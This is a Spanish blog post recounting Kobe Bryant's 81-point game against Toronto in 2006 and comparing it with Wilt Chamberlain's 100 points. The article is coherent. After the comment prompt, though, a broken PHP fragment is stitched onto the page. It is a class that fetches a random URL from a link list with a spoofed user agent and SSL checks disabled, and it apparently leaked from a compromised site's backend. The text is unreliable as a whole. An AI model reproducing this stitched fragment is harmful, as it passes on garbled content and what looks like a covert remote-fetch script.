Segundo aniversario de una rebelión

23 de January de 2008 por MagicJohnson32

wilt100Si, como dice el tango, veinte años no es nada, el 23 de febrero de 2006 fue ayer. Así que aún nos cuesta creer lo ocurrido ayer. Porque ayer, es decir, hace dos años, asistimos a una muestra de talento en estado puro sin precedentes. Cierto es que Wilt Chamberlain anotó 100 puntos en marzo del 62 ante los Knicks. Pero los 81 de Bryant, de los que hoy se cumplen dos años, sobrepasan la categoría de gesta un punto frívola del logro de Chamberlain (por lo que sabemos, ya que no hay vídeo de aquel partido y lo único que se conserva es una grabación de radio y la imagen de Wilt en el vestuario sosteniendo una hoja con el “100” escrito a mano).

Por el contrario, la actuación de Kobe Bryant ante los Raptors fue un estadillo de rabia y de genio.

Hay datos que ayudan a entender la grandeza de aquel logro. Por ejemplo, antes de ese partido los Lakers habían anotado menos de 81 puntos en cuatro ocasiones; Rockets y Blazers no habían alcanzado esa cifra en nueve partidos. En total, a esas alturas de la temorada eran 99 las veces que un equipo NBA había finalizado el partido con menos de los puntos que Bryant anotó por sí solo el 23 de enero de 2006. Pero los datos no se acercan a recoger lo que se vio aquella noche en el Staples Center, ni el 66,6% en tiros de 2 (21 de 33), ni el 54% en triples (7 de 13) ni el 90% en tiros libres (18 de 20) lo explican. Tampoco lo explican los 26 puntos que Kobe sumaba en el descanso, ni siquiera los 55 que anotó en la segunda mitad (55 puntos en la segunda kobeshotchartmitad; los Knicks anotaron 4 más en su partido ante los Celtics el pasado 29 de noviembre, 59-104). Lo que sucedió aquella noche se esconde en la mirada de Bryant, en su silencio, cuando los Lakers perdían por 18 puntos en el tercer periodo.

Los Raptors habían firmado una primera mitad modélica. Funcionaban magníficamente en ataque y estaban logrando desactivar a los jugadores rivales. Sólo Bryant ofrecía resistencia y eso no era suficiente. No lo fue hasta el minuto 3 de la segunda mitad: Kobe, que había errado sus dos primeros lanzamientos del tercer cuarto, empezó a anotar. En dos minutos anotó tres canastas, primero una bandeja, luego un lanzamiento de tres metros y a continuación otro de seis metros. Los Lakers se ponían a 16 (71-55) y la cuenta de Bryant se elevaba a 32 puntos. En el siguiente ataque Kobe anotó un triple. Bosh logró dos puntos y Kobe volvió a anotar desde más allá de la línea de tres puntos. Tras una canasta de Rose y un tiro libre de Odom, Bryant consiguió su tercer triple consecutivo: 10 abajo, tiempo muerto de Toronto y la sensación de que algo grande iba a suceder o, mejor dicho, estaba sucediendo.kobeposter81

Daba igual que, para entonces, Kobe sumase 41 de los 65 puntos de su equipo; lo maravilloso de aquello fue la rebelión individual frente a las circunstancias, frente a la frustración, frente a la derrota. Antes del final del cuarto los Lakers empataban con una recuperación de balón y posterior mate de Bryant. El grito de Bryant en el momento de hacer el mate, ahí se encierra la esencia de aquella actuación.

El tercer periodo finalizó con los angelinos seis puntos por delante y la cuenta anotadora de Bryant situada en 53 puntos. Por fortuna, los Raptors aguantaron unos minutos antes de derrumbarse por completo y, por fortuna, Kobe recibió una técnica en los primeros minutos del último cuarto. Con la diferencia reducida a tres y después de la señalización de la técnica, Bryant encontró motivación suficiente para finalizar una tarea que apenas un mes antes, ante Dallas, dejó incompleta (con el partido sentenciado a su favor, Bryant abandonó la pista al final del tercer cuarto del Lakers-Mavs con 62 puntos anotados, uno más que todo el equipo rival, y no volvió a jugar). Enrabietado y decidido, anotó seis puntos consecutivos, asistió a Odom para un triple, y cerró el partido con los últimos 22 puntos de su equipo.

kobewalks81A falta de 4 segundos para el final, dado que los Lakers habían agotado los tiempos muertos, Odom dijo a Chris Bosh que pidiese uno para que Bryant fuese sustituido y ovacionado. Su imagen, caminando lentamente hacia el banquillo con la cabeza baja y el brazo derecho elevado señalando a la grada, es ya un icono.

Es muy probable que Kobe no vuelva a hacer algo semejante. De hecho, es muy probable que jamás volvamos a ver nada semejante en la NBA.

Disfrutemos, pues.

Esta entrada no tiene comentarios... pero tú puedes ser el primero.

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>